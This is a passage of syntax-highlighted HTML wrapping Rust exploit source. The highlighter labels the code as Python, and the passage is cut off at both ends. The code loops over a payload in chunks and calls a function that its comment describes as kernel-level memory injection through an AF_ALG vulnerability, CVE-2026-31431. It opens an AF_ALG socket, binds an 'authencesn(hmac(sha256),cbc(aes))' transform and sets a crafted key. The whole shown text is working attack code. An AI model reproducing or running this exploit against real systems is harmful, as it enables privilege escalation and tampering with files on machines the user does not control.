class="z-meta z-generic-name z-python">i</span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">len</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python">.<span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">end</span> <span class="z-keyword z-operator z-arithmetic z-python">-</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_from_slice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i</span></span>.<span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">end</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">do_kernel_injection</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-control z-conditional z-if z-python">if</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i</span></span> <span class="z-keyword z-operator z-arithmetic z-python">%</span> <span class="z-constant z-numeric z-integer z-decimal z-python">40</span> <span class="z-keyword z-operator z-comparison z-python">==</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping-or-set z-python"></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">io</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">stdout</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">flush</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">ok</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping z-value z-python"></span><span class="z-meta z-mapping z-python"> <span class="z-punctuation z-section z-mapping z-end z-python">}</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-end z-python">}</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Perform</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">kernel</span></span><span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">level</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">memory</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">injection</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">using</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">AF_ALG</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">vulnerability</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">CVE</span></span><span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-constant z-numeric z-integer z-decimal z-python">2026</span><span class="z-keyword z-operator z-arithmetic z-python">-</span><span class="z-constant z-numeric z-integer z-decimal z-python">31431</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fn</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">do_kernel_injection</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">target_fd</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i32</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">t_idx</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">usize</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span>: <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">u8</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Create</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">an</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">AF_ALG</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">socket</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">address</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">family</span></span> <span class="z-meta z-expression z-generator z-python"><span class="z-keyword z-control z-loop z-for z-generator z-python">for</span> <span class="z-meta z-generic-name z-python">kernel</span> <span class="z-meta z-generic-name z-python">crypto</span> <span class="z-variable z-other z-constant z-python">API</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master_fd</span></span> =</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">socket</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">38</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOCK_SEQPACKET</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Initialize</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sockaddr_alg</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">structure</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">to</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">specify</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">algorithm</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">type</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">aead</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">addr</span></span>: <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">u8</span></span>; <span class="z-constant z-numeric z-integer z-decimal z-python">88</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-constant z-numeric z-integer z-decimal z-python">0</span>; <span class="z-constant z-numeric z-integer z-decimal z-python">88</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">addr</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-float z-decimal z-python">0<span class="z-punctuation z-separator z-decimal z-python">.</span></span><span class="z-constant z-numeric z-float z-decimal z-python"><span class="z-punctuation z-separator z-decimal z-python">.</span>2</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_from_slice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-keyword z-operator z-arithmetic z-python">&amp;</span>38u16<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">to_ne_bytes</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Set</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">AF_ALG</span></span></span> </span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">38</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_nonoverlapping</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">aead<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">addr</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">add</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">2</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Set</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">specific</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">crypto</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">transformation</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">name</span></span> = <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">authencesn(hmac(sha256),cbc(aes))<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span>::<span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ptr</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_nonoverlapping</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">name</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">addr</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_mut_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">add</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">24</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">name</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">len</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-value z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">bind</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">addr</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">as_ptr</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-invalid z-illegal z-name z-python">as</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-python">,</span> </span><span class="z-meta z-mapping z-key z-python"><span class="z-constant z-numeric z-integer z-decimal z-python">88</span><span class="z-invalid z-illegal z-stray z-brace z-round z-python">)</span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-keyword z-operator z-arithmetic z-python">/</span><span class="z-keyword z-operator z-arithmetic z-python">/</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Prepare</span></span> <span class="z-keyword z-operator z-logical z-python">and</span> <span class="z-meta z-qualified-name z-python"><span class="z-support z-type z-python">set</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">authentication</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">key</span></span> <span class="z-invalid z-illegal z-name z-python">for</span></span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">the</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">AEAD</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">algorithm</span></span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">key</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0u8; <span class="z-constant z-numeric z-integer z-decimal z-python">40</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">key</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-constant z-numeric z-float z-decimal z-python">0<span class="z-punctuation z-separator z-decimal z-python">.</span></span><span class="z-constant z-numeric z-float z-decimal z-python"><span class="z-punctuation z-separator z-decimal z-python">.</span>8</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">copy_from_slice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>08</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>01</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>10</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span>; </span></span><span class="z-source z-python"><span class="z-meta z-mapping z-key z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">libc</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">setsockopt</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">master_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">279</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">1</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">key</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name 